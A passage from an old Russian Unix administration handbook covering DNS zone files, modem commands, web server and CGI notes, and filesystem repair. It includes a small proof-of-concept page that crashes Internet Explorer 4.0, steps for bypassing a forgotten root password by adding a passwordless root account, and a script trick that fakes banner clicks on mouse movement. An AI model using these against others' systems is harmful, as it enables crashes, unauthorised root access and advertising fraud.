unixhelp
страница №6
...ает вещать на весь мир.;############## /etc/named.boot #############################
; type domain source host/file backup file
;
directory /var/named
cache . named.root
primary 0.0.127.in-addr.arpa 127.0.0.0
primary foms.msk.ru foms.msk.ru
primary 3.8.198.in-addr.arpa 198.8.3.0
primary 2.8.198.in-addr.arpa 198.8.2.0
; Зоны, для которых мы служим резервным name-сервером
secondary gatelink.fr 134.214.100.1 secondary/gatelink.fr
secondary 214.134.in-addr.arpa 134.214.100.1 secondary/134.214.0.0
;############## конец файла ###################################
;############## /var/named/named.root #######################
; Initial cache data for root domain servers 1-may-98
;;;;Get it from /ftp@FTP.RS.INTERNIC.NET:/domain/named.root;;
. 99999999 NS A.ROOT-SERVERS.NET
. 99999999 NS B.ROOT-SERVERS.NET
. 99999999 NS C.ROOT-SERVERS.NET
. 99999999 NS D.ROOT-SERVERS.NET
. 99999999 NS E.ROOT-SERVERS.NET
. 99999999 NS F.ROOT-SERVERS.NET
. 99999999 NS G.ROOT-SERVERS.NET
. 99999999 NS H.ROOT-SERVERS.NET
. 99999999 NS I.ROOT-SERVERS.NET
. 99999999 NS J.ROOT-SERVERS.NET
. 99999999 NS K.ROOT-SERVERS.NET
. 99999999 NS L.ROOT-SERVERS.NET
. 99999999 NS M.ROOT-SERVERS.NET
A.ROOT-SERVERS.NET internet address = 198.41.0.4
B.ROOT-SERVERS.NET internet address = 128.9.0.107
C.ROOT-SERVERS.NET internet address = 192.33.4.12
D.ROOT-SERVERS.NET internet address = 128.8.10.90
E.ROOT-SERVERS.NET internet address = 192.203.230.10
F.ROOT-SERVERS.NET internet address = 192.5.5.241
G.ROOT-SERVERS.NET internet address = 192.112.36.4
H.ROOT-SERVERS.NET internet address = 128.63.2.53
I.ROOT-SERVERS.NET internet address = 192.36.148.17
J.ROOT-SERVERS.NET internet address = 198.41.0.10
K.ROOT-SERVERS.NET internet address = 193.0.14.129
L.ROOT-SERVERS.NET internet address = 198.32.64.12
M.ROOT-SERVERS.NET internet address = 202.12.27.33
;############## конец файла ###################################
;############## /var/named/127.0.0.0 ############
; local dns file local.reverse 0.0.127.in-addr.arpa
;
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94061801 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
IN NS server.foms.msk.ru.
1 IN PTR localhost.
;############## конец файла ###################################
;############## /var/named/foms.msk.ru ############
; foms.msk.ru zone hosts file for DNS-server server.foms.msk.ru
;
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
95031802 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.
NS ns2.msk.ru.
MX 0 server.foms.msk.ru.
; MX 20 mail.msk.ru.
; MX 30 mailhost.kiae.su.
localhost A 127.0.0.1
$INCLUDE /var/named/primary/foms-hosts-spisok
;; Если хотите отпустить свой поддомен *.develop.foms.msk.ru
;; на выселки, самостоятельно поддерживать свой домен.
;margo.develop IN A 193.95.100.4
;develop IN NS margo.develop.foms.msk.ru.
;############## конец файла ###################################
;############## /var/named/foms-hosts-spisok ########
;;;;;;;;;;;; Hosts in foms.msk.ru zone ;;;;;;;;;;;;;;;;;;;;;;;;
; Our main server with DNS, ftp, gopher, www, mailrelay, NFS,
;
server A 198.8.2.1 ; e1x70 ethernet
A 198.8.3.1 ; m3760 ethernet
A 193.124.158.33 ; sl0 slip link
MX 0 mailrelay
HINFO Motorola88/110 "SVR4.1/88"
WKS 198.8.2.1 UDP ( time domain name )
WKS 198.8.2.1 TCP ( echo telnet hostnames domain )
mailrelay CNAME server
ftp CNAME server
fedfond CNAME server
; Host s20
;
s20 A 198.8.2.20
MX 0 mailrelay
MX 20 linux
HINFO Besta/31 UNIX-V.3
besta CNAME s20
; Host pcat101
;
pcat101 A 198.8.2.101
MX 0 mailrelay
HINFO PC486/66DX2 "MSDOS 6.2"
pc101 CNAME pcat101
guest CNAME pcat101
; Host pcat106
;
pcat107 A 198.8.3.107 ; eth0
A 193.124.158.34 ; sl0 slip link
MX 0 pcat107
MX 10 mailrelay
HINFO PC486/66DX2 "Linux 1.2.1"
pc107 CNAME pcat101
linux CNAME pcat101
;############## конец файла ###################################
;############## /var/named/primary/198.8.2.0 ##########
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94102501 ; Serial
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.
; Reverse-name [ttl] PTR Real-name-dot
;
1 PTR server.foms.msk.ru.
20 PTR s20.foms.msk.ru.
101 PTR pcat101.foms.msk.ru.
;############## конец файла ###################################
;############## /var/named/primary/198.8.3.0 ##########
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94102501 ; Serial
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.
; Reverse-name [ttl] PTR Real-name-dot
;
1 PTR server.foms.msk.ru.
106 PTR pcat106.foms.msk.ru.
107 PTR pcat107.foms.msk.ru.
;############## конец файла ###################################
.
&dDКнижки про Unix&d@
Рекомендуются любые книги в твердой обложке импортных
авторов в переводе на русский, ОСОБЕННО переводы книг
издательства O'Raily, все остальные (за редчайшим исключением)
- не рекомендуются. Т.е., написанные совками (ибо учебники
должны писать профессиональные преподаватели, а не
профессиональные программисты) и в мягкой обложке (естественно,
не считая издательства O'Raily)
На русском есть:
&dDКерниган, Пайк&d@
Керниган, Пайк, название почему-то перевели как "UNIX -
универсальная среда программирования". Warning! При наборе
русского издания наляпали ОКЕАН ачипяток и ашипок в части regex
и не только. Читать ее imho надо в параллель с manpages,
отдавая оным приоритет в стремных ситуациях.
Не смотря на это - отличная книжка. Мне было даже интересно ее
читать.
&dDГотье&d@
Готье "Руководство по операционной системе UNIX". Точнее,
SysV.release-unknown. Но тоже ничего для начала.
&dDБаурн&d@
Баурн (название я забыл) хорошая книжка и troff описан. Старая,
из серии "со стрелочками" из-ва "Мир".
&dDИнмос85&d@
Беляков Рабовер Фридман — что-то на тему Инмос85. Интересно
почитать.
Но сильно устарела. МОЖНО НЕ ЧИТАТЬ
&dDМорис Дж. Бах. Архитектура операционной системы Unix&d@
Очень толково и доступно описаны "потроха" - идеи и алгоритмы
реализации ядра. Описание Unix изнутри. Написана на "языке C" с
комментариями. Книга весьма старая, но тем не менее тем, кто
захочет узнать больше - ЧИТАТЬ РЕКОМЕНДУЮ.
Бах Морис — русский перевод его книги ходил в виде 480Кб
&dD"Мобильная опер. система"&d@
Беляков и Co. "Мобильная опер. система" (оранжевая книжечка в
мягкой обложке) — компиляция из POSIX стандартов времен ок.
1989г. Маленькая такая, хороша как справочник.
и еще довольно много других...
&dD"UNIX/руководство системного администратора"&d@
"UNIX/руководство системного администратора", Эви Немет, Гарт
Снайдер, Скотт Сибас, Трент Р.Хент. Киев, bhv, 1997. 830 стр.,
50 тр.
Очень, очень достойная книжка. Помогает почти от всех
болезней. Единственное, что отсутствует - Интернет security, а
ВСЕ остальное есть. ОБЯЗАТЕЛЬНО КУПИТЬ.
&dD"Linux/введение в операционную систему"&d@
Автора выясню позже. Киев, bhv, 1997. 760 стр.
Издательство bhv, известное выпоском нескольких
высококласных книг по Unix, на этот раз напечатало откровенную
халтуру. Оригинал был весьма могословен и неряшливо написан.
Перевод еще хуже оригинала. КАТЕГОРИЧЕСКИ НЕ РЕКОМЕНДУЮ.
&dD * Где купить * &d@
&dDИздательство BHV"&d@
За последнее время издало несколько очень качественных переводных книг
по Unix и Internet
"BHV - Москва" 270-2032
1. "Дом технической книги" Ленинский пр., 40 (095) 137 6019
0633*
2. "Библио-Глобус" ул. Мясницкая, 6 (095) 928 8744
3. "Молодая Гвардия" ул. Б. Полянка, 28 (095) 238 0032
5001*
4. "Центр-Техника" ул. Петровка, 15 (095) 924 3624
5. ТД "Москва" ул. Тверская, 8 (095) 229 7355
6. "Дом книги" ул. Новый Арбат, 8 (095) 203 8242
7. "Дом педагогической ул. Большая Дмитровка, (095) 229 4392
книги" 7/5
8. "Мир" Ленинградский пр., 78 (095) 152 8282
9. "Новый" ш. Энтузиастов, 24 (095) 362 0923
10. "РиС" ул. Красного маяка, 11 (095) 313 8345
11. "Ридас" Новоданиловская наб., 9 (095) 954 3044
12. "Кнорус" Милютинский пер., 19/4 (095) 928 6269
13. "Мидикс" Ленинский пр., 29 (095) 955 4101
14. "Десс" Рогожский вал, 15 (095) 366 9295
______________________________________________________
* - телефоны, где что-то могут сказать про наличие книг
ЛИТЕК - мелкооптовая торговля от "КноРуса" 911-9863
911-9742 ул. Николо-Ямская, 45 под.2. Идти от м.Таганская
кольцевая, по Садовому кольцу вниз до б.Дровянного пер,
завернуть туда и до упора в ул. Николо-Ямскую. Перейти улицу и
направо до 45 дома(там меховое ателье) вход со двора.
Полуподвал
&dDКниги о Linux&d@
Алгоритм такой:
пойти в крупный книжный,
взять там все книжки по линуксу, какие есть,
потом попытаться каждую из них почитать 5-10 минут.
Если от книжки не тошнит - то ее вполне можно брать.
.
&dDНесколько управляющих команд Hayes-совместимого модема&d@
(Компиляциия из документации модемов ZyXEL 1496*, GVC-1440)
AT&F0 Factory setting
Или на ZyXEL включить модем с нажатой кнопкой
Enter или Data/Voice
ATZ0 Загрузить profile 0
AT&V Распечатать setup
AT&W0 Сохранить setup в profile 0
AT&Y0 При включении загружать profile 0
ATE0 Выключить эхо
atdpТЕЛЕФОННЫЙ НОМЕР Пульсовый набор номера
+++ Выйти из connect'а в командный режим
ATO Вернуться из командного режима в CONNECT
ATH Положить трубку
ATA Поднять трубку и ответить на звонок
ATS0=2 Снимать трубку после 2-го звонка
&dDКоманды, которые обычно и сами по себе установлены&d@.
AT&P1 Make / break 33/67 (Europe)
ATQ0 Возвращать код возврата
ATV1 Код возврата текстовый
&dDКоманды, которые возможно захочется установить&d@.
AT&L1 В режим выделенных линий
AT\N5 Запретить соединение БЕЗ сжатия MNP5 или V42bis
ATB6 Поставить скорость 2400 и ниже
ATL0 Самый тихий звук
ATM0 Speaker always off
&dDКоманды GVC-1440&d@
B_ B1 Bell mode (*)
B2 Autoscan mode
D_ R originate call in answer mode
W whait for second dialtone
, pause
@ wait for 5 seconds silence
! flash
; return to command mode after dialing
H 1 make busy
I [0-4] info
L 2 medium speacker
M 0 internal speacker off
1 internal speacker on until carrier
2
3
O 0 return to data mode
1 return to data mode and initiate equaliser retrain
Регистры
s0 autoanswer ring 0
s1 ring counter 0
s2 Escape code character +
s3 CR character 13
s4 LF character 10
s5 BS character 8
S6 dial tone whait time 2 sec
S7 remote carrier whait time 45 sec
s8 comma pause time 2 sec
s9 carrier dettect responce time 6 *1/10 sec
s10 carrier loss time 14 *1/10 sec
s11 touch tone dialing speed 95 ms
s12 esc character detect time 50 1/50 sec
s14 bitmap
s16 bitmap
s18 modem test timer 0
s21 bitmap
s22 bitmap
s23 bitmap
s25 DTR delay 5 sec
s26 RTS to CTS delay interval 1 *1/100 sec
s27 bitmap
s28 bitmap
.
&dDКонфигурирование сервера HTTPD и формат языка HTML&d@
Этот текст будет слегка более доступным
для понимания, если вы посмотрите на него в исходном виде -
&dD"Document source"&d@
&dDФайлы в каталогах с документами&d@
index.html Если просят выдать каталог, то выдают index
если его нет, выдается просто оглавление каталога
HEADER.html Его содержимое добавляется перед началом листинга
README.html Его содержимое добавляется к концу листинга
.htaccess Управляющий файл с локальными настройками текущей директории
Разобраться стоит с этими характеристиками:
Alias - где то должна лежать расшифровка. а сервер будет
ее подставлять.
Вот только где ?
&dDСпецсимволы:&d@
Нужно задавать так:
& - &
" - "
> - >
< - <
>> - >>
<< - <<
(C) - © или ©
(R) - ®
-
-
<= - <=
>= - >=
Extra space -
&dDЗаголовки&d@
Заголовок 2-го уровня
Ссылка на подраздел в документе
Ссылка открываемая в другом окне
Так это место должно быть помечено в Документе
&dDНенумерованный список (Unnumbered list)&d@
- Одна позиция
- Другая позиция
&dDПронумерованный список (Numbered list)&d@
- Первая позиция
- Вторая позиция
&dDЕсть так же и более "мелкие" списки:&d@
,
&dDСписки с подзаголовками (Definition list)&d@
- Название пункта
- Текст, расписывающий содержимое пункта
- Название пункта
- Текст, расписывающий содержимое другого пункта
Преформатированный фрагмент текста
Преформатированный фрагмент текста в ширину 80
Устанавливает общий отступ вправо.
Вынесенный вправо фрагмент текста
Горизонтальная черта
Окончание параграфа
Жесткий конец строки
Текст между этими тагами не будет переноситься
на новую сторку каким бы длинным он не был
&dDФизические стили&d@
Bold жирный текст
Itallic курсив текст
Underline подчеркнутый Работает только в Netscape 3
Typewriter текст с фонтом фиксированной шириныStrike перечеркнутый текст
&dDЛогические стили&d@
Definition. Определяемое слово italic
Emphasis. Ударение italic
Titles of books. Цитата italicProgramm. Программный текст fixed
User keyboard entry. bold fixed
Status message fixed
Variable. italic
Strong emphasis. bold
Выделяется адрес italic
&dDУправление цветами и фонтами&d@
_BODY_ таги срабатывают только если расположены в самом начале документа
А так устанавливают собственные цвета во всем документе
А так делали траурные колера, когда протестовали.
Текст бОльшего размера, и покрашенный в красный цвет, с заданным типом фонта
Дальше пойдет текст с фонтом заданного размераа так же background звук
&dDТак выглядит обычная ссылка.&d@
Low impact
&dDТак вставляют картинку&d@Если нужен текст сбоку
от картинкиОтступ текста от картинки
>
ALT - что написать, если картинка не читается,
LOWRES - перед рисованием большой картинки загрузить эту - маленькую
Так подкладывают BACKGROUND
&dDТаблички -&d@Внутри таблицы может быть такой таг, Подзаголовок?
&dDО протоколе HTTP/1.*&d@
Клиент открывает tcp соединение с хостом www.host.com на порт
(обычно 80) и говорит туда
GET /local/url/file/name.html HTTP/1.0
Host: www.host.com
Http_referer: url_документа_на_котором_стоял_клиент
Еще некоторое количество заголовков,
которые рассказывают серверу, кто с ним имеет дело.
Все они, кроме GET необязательны
. . .
^M^J - пустая строка - конец заголовков - конец запроса
Обратно вываливается ответ сервера:
http-шные заголовки
на нескольких строках
^M^J - пустая строка
Собственно запрошенный документ as is
&dDУпражнение:&d@ скажите
$ telnet www 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /index.html HTTP/1.0
И потом два раза нажмите на Enter
&dDКак работет докачка в HTTP/1.1 протоколе?&d@
В запрос вставляется специальное поле "Range: bytes nnn-".
Сервер с докачкой возвращает код 206 - "Часть содержимого" и
передает запрошенную часть файла. Если сервер не поддерживает
докачки, он просто возвращает 200 и высылает весь файл как при
обычном запросе.
&dDSSI - Server Side Includes&d@
0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг
XBitHack full
и сделать им chmod g+x file.shtml
1. Чтобы SSI выполнялись, необходимо задать в конфигурационных
файлах сервера:
/etc/httpd/conf/access.conf :------------------------# "Включить"
Options +Includes # или даже Options All
/etc/httpd/conf/srm.conf :------------------------
AddType text/html .shtml
AddHandler server-parsed .shtml
2. Тогда SSI отрабатываются только в файлах с расширением .shtml
Примеры:
charset=
The value will often be enclosed in double quotes; many comн
mands only allow a single attribute-value pair.
The allowed ELEMENTS are:
config - параметры парсинга
Атрибуты config
errmsg - сообщение об ошибке, посылаемое клиенту
sizefmt - формат размера файла
timefmt - формат даты модификации файла
var - напечатать имя переменной
exec - выполнить shell или CGI-скрипт
cgi - (%-encoded) URL relative path to the CGI script.
cmd - выполнить shell
fsize - напечатать размер файла
file - относительное имя файла
virtual -(%-encoded) URL-path relative файла
flastmod - последннее время модификации файла
include - вставить документ
file - вставляемый файл
virtual - URL - только на этом же хосте
Include variables
These are available for the echo command, and to any program
invoked by the document.
DATE_GMT
The current date in Greenwich Mean Time.
DATE_LOCAL
The current date in the local time zone.
DOCUMENT_NAME
The filename (excluding directories) of the document requested
by the user.
DOCUMENT_URI
The (%-decoded) URL path of the document requested by the user.
Note that in the case of nested
include files, this is not then URL for the current document.
LAST_MODIFIED
The last modification date of the document requested by the user.
If server side includes are enabled, you will see data values below:
The date is:
The current version of the server
The CGI gateway version
The server name
This file is called:
This file's URI
The query string
This file was last modified:
The size of the unprocessed file
sample.html was last modified
You are using
You came from
# Эмуляция SSI в perl-cgi
if (//) {
print $`;$tmp = $';
open (INC,"$inc") || die "Can't Open $inc: $!\n";
while () {
if (//) {
@time = localtime ( time() ); $time[4]++;
if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; }
s//$time[3].$time[4].$time[5]/g;
}
print $_;
}
close(INC);
print "$tmp";
}
&dDУправление доступом через httpd.conf&d@
SetEnvIfNoCase Referer rusf\.ru internal_referer
SetEnvIfNoCase User-Agent Teleport internal_referer
SetEnvIfNoCase User-Agent Vampire internal_referer
SetEnvIfNoCase User-Agent ReGet internal_referer
SetEnvIfNoCase User-Agent GetRight internal_referer
SetEnvIfNoCase User-Agent Wget internal_referer
ErrorDocument 403 http://rusf.ru/books/index.htm
order deny,allow
deny from all
allow from env=internal_referer
# No offline browsers в robots.txt
User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline
Explorer, Web-By-Mail
Disallow: /
&dDCGI - спецификация интерфейса между сервером httpd&d@
и внешними, вызываемыми программами - gateeway'ями.
Сам CGI-script должен лежать в /home/httpd/cgi-bin
тогда его находят (или в других каталогах, описанных в acces.conf
Данные передаются в командной строке, через переменные
окружения, и через стандартный ввод. Возвращаются на
стандартный вывод, в начале должна стоять "волшебная строка"
Если добавить в коннфигурационный файл
/etc/httpd/conf/srm.conf :------------------------
AddType application/x-httpd-cgi .cgi
То CGI-скрипты можно будет клась в любой подкаталог дерева
документов - с расширением .cgi
&dDФормы и индексы&d@
Войти в файл, и спозиционироваться на строку с шаблоном "cl"
http://hoohoo.ncsa.uiuc.edu/file.html#cl
Request for a CGI script with no extra path information and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi
Request for a script with extra path information, and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path
Request for a script with no extra path information, and an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query
Request for a script with extra path information as well as an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query
Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента:
extra path - "добавочный маршрут", идущий вслед за именем екзешника
query - длинная строка после знака "?"
на extra path работает image map - им передается имя описателя картинки
query передается заполненным ISINDEX
&dDCGI-скрипту передаются такие параметры:&d@
Параметры передаются в переменных окружения.
REMOTE_ADDR=127.0.0.1
REMOTE_HOST=localhost
HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt
REQUEST_METHOD=GET
QUERY_STRING=query
PATH_INFO=/marshrut
PATH_TRANSLATED=/home/httpd/docs/marshrut
SCRIPT_NAME=/cgi-bin/proba
HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified
А теперь вот как оформляются формы с checkbox'ами:
# ISINDEX - параметр запроса передается пргограмме CGI в $1
# В форме METHOD=GET - там вызывается команда которой передается
# аргумент в переменной окружения QUERY_STRING
# http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off
# А вот как работает POST, и PUT. Дополнительная информация проталкивается
клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод.
длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH
а тип данных - в CONTENT_TYPE
FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
&dDЧто мы посылаем клиенту обратно:&d@
Status: 200 OK
Status: 404 File not found
Content-type: text/html
Содержимое, которое кидается сквозь нашего сервера - клиенту
Если я генерю не содержимое, а только ссылку, то:
Location: /path/doc.txt
или
Location: gopher://gopher.ncsa.uiuc.edu/
Генерим текст в чистом серверном виде - он поедет
клиенту сразу, без дополнительной фильтрации:
--- start of output ---
HTTP/1.0 200 OK
Date: Tuesday, 26-Dec-95 15:17:10 GMT
Server: NCSA/1.3
MIME-version: 1.0
Content-type: text/html
Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT
Content-length: 3132
This is a plaintext document generated on the fly just for you.
--- end of output ---
Подставляйте туда соответствующие значения переменных
$SERVER_PROTOCOL $SERVER_SOFTWARE
&dDФенечки&d@
Автоподстановка URL с timeout'ом. Подставить в начало документа:
Дальше идет местный HTML-документ - который через 12 секунд будет
автоматически заменен на вышеуказанный URL
Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в
HTTP-заголовок документа. Например "насильственное взведение charset'а:
Content-type: text/html
Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram
Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил
Если сказать так, то клиент останется на старом месте, и не
будет переходить по ссылке
Status: 204 No Content
А такой линк позволяет сразу заполнить некоторые поля в mailto послании
>tets
Самокликаемое письмо
> Была идея посылать в него сообщение когда мышкой над баннером проводят.
> (Когда баннер интересен, часто к нему курсор подводят)
> Но что-то я не допгр как это реализовать без hidden frame.
В правилах устанавливаешь, что у тебя _стандартный код_
твоей сетки содержит:
onMouseOver="OpenLink()"; return true>
Когда клиент будет снизу _пересекать_ мышью твою однопиксельную
полоску будет автоклик, а чтоб клиента не напрягать -
пускай твой http://koshelev.ru/cgi-bin/bannerOver
возвращает код 204 No Content - т.е. _не переходить_ на линк а
остаться на старой странице.
&dDСсылка на которую переходят автоматически&d@
Достаточно навести на эту ссылку мышь, и броузер пойдет по
линку - без клика.
&dDПростые эксплойты&d@
MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.
<EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
opens a dialog box and closes IE 4.0. the long file extension causes stack overrun.
--------cut here and save as crashmsie.html---------------------
Trying to crash IE 4.0
<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
40
80 160 170 180 190 200
</HTML>
&dDЗакрытие каталогов для внешних клиентов&d@
Создаем в каталоге файл .htaccess такого содержания
order deny,allow
deny from all
allow from polimos.ras.ru localhost
AuthType Basic
AuthName lenta.ru
AuthUserFile /home/www/passwd
# moshkow:1HrhNpfYnwTau стандартный crypt()
require valid-user
&dDСм. так же&d@
.
&dDРемонт разрушенных файловых систем&d@
Практически единственное средство лечения разрушений файловой системы во
всех Unix - утилита &dDfsck&d@. Если не лечит она, то дело ваше почти безнадежно.
Я бы посоветовал в морг, но энтузиасты могут еще немного подергаться.
&dD * LINUX * &d@
Примечание: команды приведенные в примерах следует выполнять только
внимательно взвесив возможные последствия. Поэтому в примерах реальные
имена спецфайлов разделов жесткого диска заменены на &dD/dev/hd-name&d@
(в реальной жизни применяется /dev/hda2, /dev/hdb3 /dev/sda1...)
Тонкая рихтовка fs &dDtune2fs&d@ позволяет поменять настраиваемые параметры
файловой системы -c max-mount-counts -m reserved-blocks-percentage и т.п.
tune2fs -m 1 /dev/hd-name # найдет вам еще 50Mb свободного места,
# и позволит учинить на оставшемся клочке
# свободного места катастрофическую фрагментацию
Стандартное лечение файловой системы:
fsck -y -c -f /dev/hd-name
Форсированное лечение с проверкой и "замещением" bad-блоков
fsck -y -c -f /dev/hd-name
# -y неинтерактивное лечение "yes" на все вопросы
# -c найти bad-блоки readonly тестом и перенести в inod bad-блоков
# -f форсировать проверку (игнорировать флаг "fs is clean"
Если погиб основной суперблок, добавить ключ -b 8193 или -b 16385 ...
указав запасную копию. Номера запасных sb сообщает при разметке раздела
утилита newfs. (Вы конечно же сохранили ее листинг?)
Распечатать размещение служебных структур fs и параметры суберблока
могут команды &dDtune2fs -l&d@ и &dDdumpe2fs&d@
tune2fs /dev/hd-name
dumpe2fs /dev/hd-name
Если погибли _все_ копии суперблока - последний шанс &dDmke2fs -S&d@ прописать
_только_ структуры суперблоков и описатели групп, не трогая самих данных
mke2fs -S /dev/hd-name # Write superblock and group descriptors only
fsck -y /dev/hd-name # сразу всед за этим запустить fsck
И даже это еще не конец. Для сильных духом остается отладчик файловой
системы &dDdebugfs&d@
man debugfs
&dDПоведение в авариной ситуации&d@
Естественно, целее будете, если загрузитесь в single-user mode
Для этого перехватить при загрузке LILO-промпт (Left-alt)
И в команду загрузки добавить параметр single
Lilo: &dDlinux single&d@
В linux'овский single-user можно попасть только зная пароль root. Не зная
пароля, надо грузиться так:
Lilo: linux init=/bin/sh
или даже так (если подготовлена rescue-дискета с файловой системой unix)
Lilo: linux init=/bin/sh root=/dev/fd0H1440
Перемонтировать корневой раздел из readonly в write
mount -t ext2 -n -o remount,rw /dev/hd-root /
Смонтировать разрушенную fs, используая альтернативный суперблок
mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname
Пдробности (вы будете смеяться):
man mount
.
&dDМаксим Мошков. Истории из жизни администратора Unix, или Грабли&d@
&dDИстория 1 со счастливым концом. Испорченный /etc/passwd&d@
&dD
> Один товарищ (не я :), это из Коми) решил своему root'y вместо положенного
> /sbin/sh сделать /bin/ksh
> Для чего отредактировал /etc/passwd, но неудачно, ошибся и назначил
> /sbin/ksh.
> Пробовали:
> $ su root -c /sbin/sh
> Не помогло. Теперь он горько плачет и хакера зовет.
> Можешь помочь, или суровое: переустанови юних?
&d@
Это мы проходили. Классика. Перво- наперво "никогда, НИКОГДА
не меняй shell у суперюзера..." :-)
0. Запустить shell из-под root'а все-таки можно: su root -m -s /bin/sh
Но если еще и пароль забыт, тогда - поможет загрузка в
single user mode или загрузка с CD/floppy/tape
1. Дать команду df, посмотреть минор/мажор у девайса, на
который монтируется корень, и затем почитать мануал по команде
mknod # mkdev, mknode, mksf - создать специальный файл
# или как там еще она называется
и записать на бумажке команду, которой создается
спец-файл /dev/root (или куда там монтируется "/"
2. Загрузиться с инсталляционного стриммера/дискеты/CD.
и там где уход на install/update/system maintance пойти на
"system maintence" (это всего навсего shell root'овый)
Осталось смонтировать /dev/root на /mnt
и редактировать /mnt/etc/passwd
&dDЗасада No 1&d@
Сразу после загрузки мини-системы специальных файлов
соответствующих жесткому диску нет (!). Сделать его ручками -
команда mknode уже записана на бумажке.
&dDЗасада No 2&d@
Редактор vi не запускается (Нет terminfo) Ну и черт с ним.
Придумаешь что нибудь. Например
echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd
^^^^^^
обрати внимание что >> а не > (Угадай почему :-)
а можно и так:
PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH
TERMINFO=/mnt/usr/lib/terminfo # или где он там
Короче - ты дома потренируйся, а потом в Коми напиши точные
имена файлов и команд, а то боюсь необученный админ сможет
промахнуться пару раз, а здесь промахиваться нельзя.
Приложение: Обход root passwd в Motorola Unix SVR4/88.
1. Посмотреть major/minor для / и /usr
104 0 /dev/root
104 3 /dev/dsk/m197_c0d0s3
2. Загрузка с ленты, уход на maintance .
3. Подмонтировать разделы диска, соответствующие / и /usr, с
восстановлением файловой системы (т.к. система была выключена некорректно
при отсутствии root пароля).
mkdir /mnt
mknod /dev/rootn b 104 0
/etc/fs/ufs/fsck /dev/rootn
mount -F ufs /dev/rootn /mnt
аналогично для /usr
mknod /dev/usr3 b 104 3
/etc/fs/ufs/fsck /dev/usr3
mount -F ufs /dev/usr3 /mnt/usr
4. Отредактировать /etc/passwd, сделать беспарольного root
echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd
5. Cменить корень root'у (будет в /mnt)
chroot /mnt /sbin/sh
6. Обновить shadow
pwconv
Все.
&dDИстория 2 почти о том же. Испорченный /etc/fstab&d@
Date: 20 Apr 1997
From: Bernshtam Pavel (barnshte@CS.bgu.ac.il)
У меня тоже было - запортил я /etc/fstab и сделал reboot не
заметив ошибки - бабах - поднимается (а это был Axil с SunOS
4.1) в single user.
я делаю ls - Command not found - понятно - не замоунтил /usr
посмотрел я на другом SUN'е что есть в /sbin - нашел mount,
обрадовался - сделал /sbin/mount /usr.
Есть VI!
Помучался пока установил нужный set TERM с полчаса - запустил
VI. открываю fstab - фигня со строками (вот оно - не работайте
в PICO, учите VI !!!), исправил, save'лю - а root partition то
READ ONLY !!!
Делаю stop-A.
Слава богу, посоветовали мне, что в boot-мониторе можно сделать
b -rw (замаунтить с write), после этого я повторил всю
процедуру с mount и VI и исправил /etc/fstab.
а... еще забыл - VI не запускался пока я /var не замаунтил, т.к
/tmp - линк на /var/tmp , а VI без /tmp не идет.
/* а на Linux специальная команда есть - перемонтироваться на
read-write - ее из single-user-mode можно выполнить
mount -n -o remount /
*/
&dDКоманда rm -rf в SCO&d@
Ввиду того, что под шаблон ".*" подходит каталог ".."
НИКОГДА НЕ ДЕЛАЙТЕ КОМАНДЫ rm -r .*
(Большинство unix'ов прощают подобную ошибку, но НЕ ВСЕ)
&dD
From: Павел Северов
"... решил я на нашем SCO-шном сервере с Oraclовской базой
расчистить немного свободного места на диске..."
# cd /usr/tmp
# rm -rf *
гляжу, а там всякий хлам остался /usr/tmp/.X11-0 ну и т.п.
А я тогда
# rm -rf .* # ОЙ!
# du
ldd: Can not open file
# df
ldd: Can not open file
# ls -al
ldd: Can not open file
&d@
. . .
У этой истории грустный конец. Вы уже догадались, что
/usr/tmp/.* содержит в себе /usr/tmp/.. После reboot'а машина,
не найдя каталога /usr уже не ожила.
&dDУдаленный доступ или "Запасной ключ от сейфа лежит в сейфе"&d@
Хорошая штука, Unix + TCP/IP - можно отконфигурить машину
у черта на куличках не вставая с рабочего места и даже не
выходя из дома.
